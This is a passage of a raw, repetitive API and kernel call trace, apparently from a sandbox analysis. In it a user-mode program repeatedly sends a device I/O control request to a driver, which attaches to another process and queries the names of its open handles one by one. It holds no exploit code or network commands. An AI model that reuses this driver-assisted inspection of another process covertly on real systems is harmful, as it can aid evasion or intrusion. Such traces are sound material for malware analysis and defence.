KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.261] ObReferenceObjectByHandle (in: Handle=0x8a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0028063e0, HandleInformation=0x0) returned 0x0 [0121.261] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.262] PsReleaseProcessExitSynchronization () returned 0x2 [0121.262] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.262] ObQueryNameString (in: Object=0xfffff8a0028063e0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.262] ObfDereferenceObject (Object=0xfffff8a0028063e0) returned 0x1 [0121.262] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.262] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.262] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.262] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.262] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.262] PsAcquireProcessExitSynchronization () returned 0x0 [0121.262] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.262] ObReferenceObjectByHandle (in: Handle=0x8bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00286ec70, HandleInformation=0x0) returned 0x0 [0121.262] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.262] PsReleaseProcessExitSynchronization () returned 0x2 [0121.262] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.262] ObQueryNameString (in: Object=0xfffff8a00286ec70, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.262] ObfDereferenceObject (Object=0xfffff8a00286ec70) returned 0x1 [0121.262] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.262] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.262] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.262] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.262] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.262] PsAcquireProcessExitSynchronization () returned 0x0 [0121.262] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.262] ObReferenceObjectByHandle (in: Handle=0x8c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a002633fc0, HandleInformation=0x0) returned 0x0 [0121.262] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.262] PsReleaseProcessExitSynchronization () returned 0x2 [0121.262] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.262] ObQueryNameString (in: Object=0xfffff8a002633fc0, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.262] ObfDereferenceObject (Object=0xfffff8a002633fc0) returned 0x1 [0121.262] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.262] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.263] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.263] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.263] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.263] PsAcquireProcessExitSynchronization () returned 0x0 [0121.263] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.263] ObReferenceObjectByHandle (in: Handle=0x908, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a003585880, HandleInformation=0x0) returned 0x0 [0121.263] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.263] PsReleaseProcessExitSynchronization () returned 0x2 [0121.263] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.263] ObQueryNameString (in: Object=0xfffff8a003585880, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.263] ObfDereferenceObject (Object=0xfffff8a003585880) returned 0x1 [0121.263] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.263] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.263] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.263] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.263] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.263] PsAcquireProcessExitSynchronization () returned 0x0 [0121.263] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.263] ObReferenceObjectByHandle (in: Handle=0x91c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a002324060, HandleInformation=0x0) returned 0x0 [0121.263] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.263] PsReleaseProcessExitSynchronization () returned 0x2 [0121.263] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.263] ObQueryNameString (in: Object=0xfffff8a002324060, ObjectNameInfo=0xfffffa80020f1044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020f1044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.263] ObfDereferenceObject (Object=0xfffff8a002324060) returned 0x1 [0121.263] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.263] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.263] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.263] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.263] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.263] PsAcquireProcessExitSynchronization () returned 0x0 [0121.263] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.264] ObReferenceObjectByHandle (in: Handle=0x920, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a004389540, HandleInformation=0x0) returned 0x0 [0121.264] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.264] PsReleaseProcessExitSynchronization () returned 0x2 [0121.264] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.264] ObQueryNameString (in: Object=0xfffff8a004389540, ObjectNameInfo=0xfffffa80020f4044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020f4044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.264] ObfDereferenceObject (Object=0xfffff8a004389540) returned 0x1 [0121.264] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.264] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.264] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.264] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.264] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.264] PsAcquireProcessExitSynchronization () returned 0x0 [0121.264] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.264] ObReferenceObjectByHandle (in: Handle=0x92c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0043297a0, HandleInformation=0x0) returned 0x0 [0121.264] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.264] PsReleaseProcessExitSynchronization () returned 0x2 [0121.264] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.264] ObQueryNameString (in: Object=0xfffff8a0043297a0, ObjectNameInfo=0xfffffa8002101044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8002101044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.264] ObfDereferenceObject (Object=0xfffff8a0043297a0) returned 0x1 [0121.264] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.264] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.264] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.264] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.264] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.264] PsAcquireProcessExitSynchronization () returned 0x0 [0121.264] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.264] ObReferenceObjectByHandle (in: Handle=0x940, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a003063180, HandleInformation=0x0) returned 0x0 [0121.264] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.264] PsReleaseProcessExitSynchronization () returned 0x2 [0121.264] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.264] ObQueryNameString (in: Object=0xfffff8a003063180, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0121.264] ObfDereferenceObject (Object=0xfffff8a003063180) returned 0x1 [0121.264] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.265] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.265] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.265] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.265] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.265] PsAcquireProcessExitSynchronization () returned 0x0 [0121.265] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.265] ObReferenceObjectByHandle (in: Handle=0x958, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0033dee70, HandleInformation=0x0) returned 0x0 [0121.265] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.265] PsReleaseProcessExitSynchronization () returned 0x2 [0121.265] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.265] ObQueryNameString (in: Object=0xfffff8a0033dee70, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.265] ObfDereferenceObject (Object=0xfffff8a0033dee70) returned 0x1 [0121.265] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.265] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.265] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.265] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.265] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.265] PsAcquireProcessExitSynchronization () returned 0x0 [0121.265] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.265] ObReferenceObjectByHandle (in: Handle=0x95c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00398c880, HandleInformation=0x0) returned 0x0 [0121.265] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.265] PsReleaseProcessExitSynchronization () returned 0x2 [0121.265] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.265] ObQueryNameString (in: Object=0xfffff8a00398c880, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.265] ObfDereferenceObject (Object=0xfffff8a00398c880) returned 0x1 [0121.265] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.265] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.265] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.265] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.265] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.266] PsAcquireProcessExitSynchronization () returned 0x0 [0121.266] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.266] ObReferenceObjectByHandle (in: Handle=0x968, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a003a96390, HandleInformation=0x0) returned 0x0 [0121.266] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.266] PsReleaseProcessExitSynchronization () returned 0x2 [0121.266] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.266] ObQueryNameString (in: Object=0xfffff8a003a96390, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.266] ObfDereferenceObject (Object=0xfffff8a003a96390) returned 0x1 [0121.266] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.266] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.266] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.266] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.266] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.266] PsAcquireProcessExitSynchronization () returned 0x0 [0121.266] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.266] ObReferenceObjectByHandle (in: Handle=0x970, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a002271740, HandleInformation=0x0) returned 0x0 [0121.266] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.266] PsReleaseProcessExitSynchronization () returned 0x2 [0121.266] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.266] ObQueryNameString (in: Object=0xfffff8a002271740, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.266] ObfDereferenceObject (Object=0xfffff8a002271740) returned 0x1 [0121.266] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.266] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.266] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.266] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.266] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.266] PsAcquireProcessExitSynchronization () returned 0x0 [0121.266] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.266] ObReferenceObjectByHandle (in: Handle=0x97c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00399ca80, HandleInformation=0x0) returned 0x0 [0121.266] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.266] PsReleaseProcessExitSynchronization () returned 0x2 [0121.267] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.267] ObQueryNameString (in: Object=0xfffff8a00399ca80, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.267] ObfDereferenceObject (Object=0xfffff8a00399ca80) returned 0x1 [0121.267] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.267] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.267] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.267] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.267] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.267] PsAcquireProcessExitSynchronization () returned 0x0 [0121.267] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.267] ObReferenceObjectByHandle (in: Handle=0x994, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a002a6f8c0, HandleInformation=0x0) returned 0x0 [0121.267] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.267] PsReleaseProcessExitSynchronization () returned 0x2 [0121.267] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.267] ObQueryNameString (in: Object=0xfffff8a002a6f8c0, ObjectNameInfo=0xfffffa8001a04044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a04044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.267] ObfDereferenceObject (Object=0xfffff8a002a6f8c0) returned 0x1 [0121.267] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.267] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.267] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.267] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.267] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.267] PsAcquireProcessExitSynchronization () returned 0x0 [0121.267] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.267] ObReferenceObjectByHandle (in: Handle=0x9a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00346e830, HandleInformation=0x0) returned 0x0 [0121.267] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.267] PsReleaseProcessExitSynchronization () returned 0x2 [0121.267] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.267] ObQueryNameString (in: Object=0xfffff8a00346e830, ObjectNameInfo=0xfffffa80019fa044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fa044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.267] ObfDereferenceObject (Object=0xfffff8a00346e830) returned 0x1 [0121.267] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.267] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.267] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.268] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.268] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.268] PsAcquireProcessExitSynchronization () returned 0x0 [0121.268] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.268] ObReferenceObjectByHandle (in: Handle=0x9c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a003a944e0, HandleInformation=0x0) returned 0x0 [0121.268] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.268] PsReleaseProcessExitSynchronization () returned 0x2 [0121.268] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.268] ObQueryNameString (in: Object=0xfffff8a003a944e0, ObjectNameInfo=0xfffffa8002108044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8002108044, 